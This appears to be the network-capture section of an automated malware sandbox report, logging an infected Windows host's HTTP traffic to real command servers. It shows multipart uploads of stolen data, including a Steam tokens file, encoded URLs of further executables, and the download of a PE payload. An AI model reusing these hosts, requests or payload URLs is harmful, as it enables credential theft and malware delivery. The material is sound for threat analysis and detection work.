6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="message"files------FBGHIIJDGHCBFIECBKEG--
Sep 21, 2024 13:34:30.499068022 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:30.822832108 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDHJDHDAFHJJKJEHC Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 48 4a 44 48 44 41 46 48 4a 4a 4b 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKEGDHJDHDAFHJJKJEHCContent-Disposition: form-data; name="file"------AKEGDHJDHDAFHJJKJEHC--
Sep 21, 2024 13:34:31.046339035 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:31.240106106 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEHDAFHDHCBFIDGCFID Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 41 46 48 44 48 43 42 46 49 44 47 43 46 49 44 2d 2d 0d 0a Data Ascii: ------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------HIEHDAFHDHCBFIDGCFIDContent-Disposition: form-data; name="message"ybncbhylepme------HIEHDAFHDHCBFIDGCFID--
Sep 21, 2024 13:34:31.479506016 CEST	347	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 120 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 48 4d 36 4c 79 39 75 5a 58 4a 32 4c 6d 4e 76 62 53 35 77 5a 53 39 73 5a 33 4e 6d 5a 47 46 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 63 7a 6f 76 4c 32 35 6c 63 6e 59 75 59 32 39 74 4c 6e 42 6c 4c 33 5a 6d 63 32 52 6e 5a 47 59 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cHM6Ly9uZXJ2LmNvbS5wZS9sZ3NmZGFtLmV4ZXwwfDB8U3RhcnR8NHxodHRwczovL25lcnYuY29tLnBlL3Zmc2RnZGYuZXhlfDB8MHxTdGFydHw0fA==
Sep 21, 2024 13:34:36.082983017 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJEGCFBGDHJJJJJKJE Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJEGCFBGDHJJJJJKJEContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------AAKJEGCFBGDHJJJJJKJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAKJEGCFBGDHJJJJJKJE--
Sep 21, 2024 13:34:36.582307100 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49742	5.53.124.195	80	5828	C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:34:13.112221003 CEST	335	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary82269225 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 412 Host: tventyvf20pt.top
Sep 21, 2024 13:34:13.112241030 CEST	412	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 38 32 32 36 39 32 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 76 Data Ascii: ------Boundary82269225Content-Disposition: form-data; name="file"; filename="Govogica.bin"Content-Type: application/octet-streamOp``.'uRR/AbWEB@m,lkRGHA%\P@7}d]@OFjXuuSc{Sbse1;&&,
Sep 21, 2024 13:34:13.832648039 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sat, 21 Sep 2024 11:34:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49749	5.53.124.195	80	5828	C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:34:28.110850096 CEST	337	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary38423990 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 67973 Host: tventyvf20pt.top
Sep 21, 2024 13:34:28.110882998 CEST	11124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 33 38 34 32 33 39 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 61 6e Data Ascii: ------Boundary38423990Content-Disposition: form-data; name="file"; filename="Banoxumik.bin"Content-Type: application/octet-streameIGB~IH;od<5,uGT\|~nw8{T+cJ!sL qq'{<
Sep 21, 2024 13:34:28.115783930 CEST	6180	OUT	Data Raw: f4 5a f1 aa 94 54 94 b0 c4 0a 60 97 9f 1d 54 83 3b e3 48 26 5c a7 58 97 65 05 72 b5 0a b6 27 c1 07 2c 2e 87 d0 22 01 80 29 35 3b 37 77 d5 4f bf 50 34 21 40 f6 23 71 38 08 3c 7e 6f 9a 28 41 c0 b4 45 03 e0 d4 17 6a b5 22 13 0d 85 fd a0 09 25 42 95 Data Ascii: ZT`T;H&\Xer',.")5;7wOP4!@#q8<~o(AEj"%B&xyHJn@8[Orik")\|[)VFBzZiwoF2"QCMp$40MV2KF}fHXIP2O'!%i"(BGCBo96G`rh
Sep 21, 2024 13:34:28.115886927 CEST	4944	OUT	Data Raw: 9f fe dc ab b4 b3 88 75 32 da ec 06 2a 21 14 b2 17 e3 bb 31 b3 bd 8e cb 90 05 a7 b8 03 c7 66 48 d6 15 e4 86 77 23 fd 8c 38 68 4e b4 45 b8 71 b0 81 ad dc 1f 08 b8 b1 69 23 66 66 64 3b e4 b5 1e a8 b4 4b 97 c5 64 52 5e e7 b1 6c c7 8a 7f fa 16 d6 01 Data Ascii: u2*!1fHw#8hNEqi#ffd;KdR^lF_+U0J}Lfx5^BJ(D,[U'p<Rg6\+z" rLDU;m%CP]<=YV$xC^lgk\|\|"2\|Zw}!vp\|')H7
Sep 21, 2024 13:34:28.116231918 CEST	4944	OUT	Data Raw: 89 b0 08 12 c1 2f 2d b9 22 00 cc 6f 9b f3 5c 6a 39 10 d6 50 89 68 32 72 74 f0 25 fd ba 9d 04 0a 58 e9 a5 7d 3f 80 9c b9 64 47 fb 50 c6 e4 2e f1 f2 7c d5 b4 a2 5b b9 3e 83 38 ee 46 64 39 e7 84 ac 4b f6 15 a6 de 5f 44 cd e9 c2 31 57 24 4f 82 2e e1 Data Ascii: /-"o\j9Ph2rt%X}?dGP.\|[>8Fd9K_D1W$O.')Ph6U70%z.;ijQnc^b~HH_\`obCWKO\|]~L*UdW=y/,<{+~)(FhVMKBTAE~%:]!OeK}[c}
Sep 21, 2024 13:34:28.116265059 CEST	4944	OUT	Data Raw: ae 22 e9 46 3b fa 10 64 aa 1f 23 16 ea 86 9f 45 46 8a 01 76 1d 27 b0 24 01 66 c2 10 cf 28 9d 2c cf c8 37 a0 94 bd 22 28 7d 7a a8 f4 fe d2 cb d2 02 be f4 d1 05 fa 16 14 6c 7d 04 a6 43 af fc b9 6d 42 73 db 16 33 f5 ec 64 36 0f 5f f7 55 12 a7 93 1b Data Ascii: "F;d#EFv'$f(,7"(}zl}CmBs3d6_UKu6&i!>65KAw@AeD)RdL,FxeZHpB2j4ftbm:}U\b'r)Gu#3"Gj\|2!U3R;
Sep 21, 2024 13:34:28.116322994 CEST	1236	OUT	Data Raw: 50 ed 53 68 23 f2 9f 6b 09 a0 54 b8 08 03 67 8a 0d 6a 2b 6b 25 de eb 65 95 69 36 8d 8d d5 0c 42 d7 c5 5e 36 d9 b5 46 b5 4d d3 6b 2e ff 33 ee 8a fb 1c 60 94 b4 38 a8 c7 1a 50 49 40 db 65 06 08 09 03 02 b7 4c 59 2a 9a 61 dd 0d ad d3 87 59 dc 3d a4 Data Ascii: PSh#kTgj+k%ei6B^6FMk.3`8PI@eLY*aY=/G"`81jY=\|<eT'hp^W~9]is%-Fj`A!r.>EEvoEB$W<-jB]o]X:$"5f1J<s1c)S%y
Sep 21, 2024 13:34:28.120822906 CEST	3708	OUT	Data Raw: 58 02 6a 9b 63 15 72 03 05 74 c3 65 5f 82 c7 15 2f a3 af 70 a7 3e ae 4e 28 a5 44 35 e1 01 c2 1d 58 6f 5a 98 89 f3 06 82 54 88 6f a7 f2 50 67 f5 fb 36 50 e3 43 74 1a 52 4a 4c 3e cd 93 fb d9 84 b8 c8 63 03 29 91 1c ff bc 69 ef b8 d0 a8 28 0b 8c 9b Data Ascii: Xjcrte_/p>N(D5XoZToPg6PCtRJL>c)i(ejuCd*kk-ns~LJj\9}7{R@@WJ<iW-A&Rs[Is^$sj^9jc\L\|n=>7_Rzk
Sep 21, 2024 13:34:28.120836020 CEST	1236	OUT	Data Raw: a0 3d 8a 90 6e c3 12 f8 a0 dd e2 e7 5d 98 62 74 f1 e3 d5 fe 86 3f a1 b3 6c 7e 6d 25 28 40 0e 4d 61 8b ad 68 96 87 cb c7 9c 32 59 e4 91 10 93 dc e3 0c 56 f1 21 13 18 3f b5 90 6c dc 77 6f 2a 3e 53 cc 66 a8 a0 dd fc 84 51 b5 e5 fa ab 11 c4 2e 3e e4 Data Ascii: =n]bt?l~m%(@Mah2YV!?lwo>SfQ.>Gf EO^ABVe.gnS78(898V\|J@nY5.d^[5g.V[sak%lr-"pKf8\|v@/JmfT~,k}
Sep 21, 2024 13:34:28.120866060 CEST	2472	OUT	Data Raw: e7 2f e1 36 e4 cc dc 12 db 6c 30 2b d2 f2 f8 0f da 4e 3a 6f ea 8d d1 31 ee 03 2d 74 0c ed 4d 15 c1 7d 7e 23 24 f2 58 b4 e7 cb ce 66 17 38 19 e9 86 71 19 9a 10 0e 44 bc 2b 3c 00 d8 92 7d a6 7b da 78 e1 5e 41 0b ff 98 8a 79 12 93 5e a1 53 71 44 04 Data Ascii: /6l0+N:o1-tM}~#$Xf8qD+<}{x^Ay^SqD;.+4Tj&7DZ7do2N0@p=yL:-N]Ya9IWTToS<0nOo8K*Z/.:]Z o+vT=oWOtB
Sep 21, 2024 13:34:28.120915890 CEST	1236	OUT	Data Raw: 14 cb 3e ac 5b 97 8d 5d af 58 a0 2e 62 46 6b e3 0c f7 58 e0 7b b8 55 f6 20 64 c6 ab a0 23 98 e1 ef fb d7 67 61 f7 2e 31 c0 5b 89 c9 19 b1 b1 54 15 13 ee 0a 75 39 71 80 35 b6 8e 0c 2c d8 88 eb 9c 65 6a 3a ad f7 b0 57 74 31 2c 09 d4 e6 83 1c 67 3e Data Ascii: >[]X.bFkX{U d#ga.1[Tu9q5,ej:Wt1,g>?Z"$M!`mN*Jw}?Cy1G~f`D\hC\|_iM!N7P"OC6<gfK=O?n}0IE`3n],m!'s<nW:
Sep 21, 2024 13:34:29.032005072 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sat, 21 Sep 2024 11:34:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49756	5.53.124.195	80	5828	C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:34:36.638325930 CEST	337	OUT	POST /v1/upload.php HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----Boundary32946194 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Length: 30036 Host: tventyvf20pt.top
Sep 21, 2024 13:34:36.638405085 CEST	11124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 6f 75 6e 64 61 72 79 33 32 39 34 36 31 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 6c Data Ascii: ------Boundary32946194Content-Disposition: form-data; name="file"; filename="Paladivo.bin"Content-Type: application/octet-streamUv3![8;u&~J^.l$b{oC#*7$UduI.}^8q#%c)Q!6Abar^Y
Sep 21, 2024 13:34:36.643594980 CEST	1236	OUT	Data Raw: 6c ac 1c a7 c2 64 fc e8 21 97 bc 4a 2d 3b 15 7f 16 13 29 d5 bd b6 bb dc ed cb 24 3a 06 eb 18 8f ab 4d 1d a7 8a 72 2c 9e 36 57 86 78 45 74 5a c9 86 ee 7f 1d ce 43 6d 2f 9b af 2c 9e 3d 7c 96 0a 9a 15 33 00 3d b9 b9 2d 46 73 36 38 7d 11 80 c1 d1 cd Data Ascii: ld!J-;)$:Mr,6WxEtZCm/,=\|3=-Fs68}t50#&"PgFZ.Fs~?R_DWOf-$qWX<?Tnl+qG=z,cZUi%i;AJ#,'DXqglX*~=:"FaI= 0p&?9
Sep 21, 2024 13:34:36.643627882 CEST	2472	OUT	Data Raw: 10 3b b0 05 46 69 fd 31 9e 32 33 3e 35 96 e8 ac f8 fa e5 3d c1 5e 20 fc e4 43 6d 02 d3 67 94 a7 a7 0b da a7 9f ac b5 94 cf f0 0f 1a c1 7c 99 a8 69 05 af 2a f9 38 2d 44 d1 9a 41 73 2c 9b e9 ba 91 7e 89 e9 44 8e 10 76 ea bb 0f c6 a7 29 cb b6 32 49 Data Ascii: ;Fi123>5=^ Cmg\|i*8-DAs,~Dv)2I@VPT9z>DfW2S#{2\Fw;>n[MirGwj)vkE^eSyc]x1IXC(Jr-
Sep 21, 2024 13:34:36.643651962 CEST	2472	OUT	Data Raw: ac eb 86 f6 5d 82 c2 24 cd 5f 64 c1 67 9b eb 59 bf a2 7e 63 11 d6 5b 48 6a bc 81 0e 88 09 05 8a e0 63 ea c3 60 47 04 58 e1 39 68 cb 1e 70 1b c0 bd d9 e8 b9 72 98 7b ac d2 f1 ff 72 34 ee 08 9d 80 6a 91 17 cf 57 b9 a5 28 e7 88 d1 a7 4b 0e 43 19 d3 Data Ascii: ]$_dgY~c[Hjc`GX9hpr{r4jW(KCSb&>ytF)c)U.!hF<Xk<JX[mtv GMcN7W/e`!`Hncj5MYR@z#;^TQ;W~
Sep 21, 2024 13:34:36.643688917 CEST	2472	OUT	Data Raw: db 83 96 f1 82 ad c1 c8 60 71 e9 37 05 20 c0 68 48 0f 2d 69 ff 65 1d 10 fb d8 2e 97 1b 71 c4 0d 9e 5d bc c7 37 1e 76 76 7f b7 2d 20 25 5d 86 5c 26 c6 db 8d d1 fc cb 0f a3 ad d7 71 84 73 06 ae e4 74 dd 1a a7 af c8 d9 73 7a c5 a6 a0 84 1f 7d 87 32 Data Ascii: `q7 hH-ie.q]7vv- %]\&qstsz}2}#8Nst^4Ws6$#"aoj!-mw,EX`<5POoQ )8q[/9aBrnTr=pdJ\TH?E6Z{M-fc
Sep 21, 2024 13:34:36.643734932 CEST	2472	OUT	Data Raw: 5f af aa 4f d8 57 08 62 b7 cd a1 95 a8 6b a5 b5 c0 37 54 0e ff c2 09 60 b4 23 fe c7 b7 57 e6 90 d3 d9 fd bf 21 18 e4 c7 63 22 73 fc 0e 9d d4 b4 aa 90 73 a9 fb 66 fd 73 43 da d9 8c f6 9d 3e e9 87 bf 2c 70 e2 0e 8a 32 aa b2 b1 3a 0c 3a 4f c5 21 96 Data Ascii: _OWbk7T`#W!c"ssfsC>,p2::O!-\K%Y;q9iDo9}8a/r=<^,jul@PRI%$ `}hGk;gjHa*7/?f9U0&hJyp:B~'7I
Sep 21, 2024 13:34:36.643752098 CEST	4944	OUT	Data Raw: 67 c0 73 77 01 63 1a b9 c5 60 96 d2 b0 48 62 3b 4b 4e 38 95 5b f1 98 e3 8f de 86 e0 59 b0 1b 76 2b be 34 c6 c4 4c ca 17 63 43 f3 47 88 f2 f2 e2 68 e2 f3 10 7c 60 e8 cd f1 6f 49 69 de 5a 79 51 9b e7 c3 74 79 bf 47 bc cc b9 30 c8 d0 32 3c b8 bf 42 Data Ascii: gswc`Hb;KN8[Yv+4LcCGh\|`oIiZyQtyG02<B]w$wzdksItF6<Y~Z4iXo~M4Z[9cFfIqu"b(+ACGO!cSd{ASn{~y
Sep 21, 2024 13:34:36.643776894 CEST	2472	OUT	Data Raw: 8e d2 0d e1 4a 74 5e 62 62 a6 44 5b fa 01 12 c2 c7 05 ef 84 cf 5c 46 2c b0 68 d1 5c 1f 46 c1 bd 0e 78 50 eb 47 63 ec 79 95 de 4e 0e a6 4a b1 3d 47 6f 1a 9e dd b5 9a 71 c5 db 47 13 13 90 a2 bb 8c ce 6c a2 fa 64 ea ef 26 b4 12 c5 71 ea 46 81 02 a7 Data Ascii: Jt^bbD[\F,h\FxPGcyNJ=GoqGld&qFHMdvgNAqkIl\L^:tu1[u4P-+e,:#wdETKC/D=D@&o5dHH-uXefBACM_f#19)6
Sep 21, 2024 13:34:36.643810987 CEST	372	OUT	Data Raw: 21 2d b6 5c 68 a7 0c 7f 20 40 85 53 b2 9e 6a 32 74 66 41 c9 2d 2b 21 7c 9a 2c bc 9d 33 3d 81 e1 ed 03 0f 3d ca 82 ca 9f 56 b6 01 59 16 cf 0b a3 66 82 5e 24 bd 42 cc 56 d2 c7 8c ed d5 fc bd c8 fc fa b7 86 ed 20 e4 2a 15 2e 25 4f bb 6d 1b b7 ed 09 Data Ascii: !-\h @Sj2tfA-+!\|,3==VYf^$BV *.%OmB~sVeOk0<ab"tpbkn> \H{TGGDZ-WpLE]!lY`BDULIwZ]S~kc(HO%_lM
Sep 21, 2024 13:34:37.402915001 CEST	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sat, 21 Sep 2024 11:34:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.9	49767	92.119.114.169	80

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:34:53.963891029 CEST	18	OUT	Data Raw: ad da ba ab 06 00 00 00 16 27 00 00 1a 15 10 1c 17 0d Data Ascii: '
Sep 21, 2024 13:34:54.376733065 CEST	36	IN	Data Raw: ad da ba ab 18 00 00 00 12 27 00 00 1a 0a 4f 33 20 0b 20 4d 3b 4d 4d 2c 1d 0f 4c 49 10 35 21 80 0c 18 03 37 Data Ascii: 'O3 M;MM,LI5!7
Sep 21, 2024 13:34:54.502362967 CEST	76	IN	Data Raw: ad da ba ab 40 00 00 00 17 27 00 00 1b 48 4c 1b 1d 1b 49 18 4d 1d 4e 1f 4b 4f 4c 1a 1f 4d 1c 1d 4e 1a 4d 4f 4f 4f 41 1f 4d 1a 18 4b 4d 4e 4a 4d 4e 1a 18 4b 1a 1c 4d 18 4e 4f 41 40 1a 1b 41 1d 1b 1b 4b 4c 41 4f 4a 1f 4b 40 4d 18 Data Ascii: @'HLIMNKOLMNMOOOAMKMNJMNKMNOA@AKLAOJK@M
Sep 21, 2024 13:34:54.608330965 CEST	12	OUT	Data Raw: ad da ba ab 00 00 00 00 14 27 00 00 Data Ascii: '
Sep 21, 2024 13:34:54.783862114 CEST	23	IN	Data Raw: ad da ba ab 0b 00 00 00 15 27 00 00 41 57 4d 4f 57 48 4b 4a 57 4a 4a Data Ascii: 'AWMOWHKJWJJ
Sep 21, 2024 13:34:57.969247103 CEST	12	OUT	Data Raw: ad da ba ab 00 00 00 00 10 27 00 00 Data Ascii: '
Sep 21, 2024 13:34:58.151632071 CEST	12	IN	Data Raw: ad da ba ab 00 00 00 00 11 27 00 00 Data Ascii: '

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49790	147.45.44.104	80	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:35:34.325340986 CEST	194	OUT	GET /prog/66ecb454d2b4a_lgfdsjgds.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:35:34.885531902 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:34 GMT Content-Type: application/octet-stream Content-Length: 363424 Last-Modified: Thu, 19 Sep 2024 23:31:32 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ecb454-58ba0" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e b2 ec 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 32 05 00 00 08 00 00 00 00 00 00 7e 51 05 00 00 20 00 00 00 60 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 51 05 00 4f 00 00 00 00 60 05 00 d0 05 00 00 00 00 00 00 00 00 00 00 78 65 05 00 28 26 00 00 00 80 05 00 0c 00 00 00 f4 4f 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf2~Q `@ `,QO`xe(&O H.text1 2 `.rsrc`4@@.reloc:@B`QHAVeOz?Z#btHxK+,57>1G2%ju-EmRU-6W4bW5>B] sf'(o}kPq>j][T.sp}HT-o8.^pK7?ntEK>^8p+bW{:SjZzd2i65u\|vUy1#6P}$K\X$ZDXqK^I>Ljv-H-KEG)r
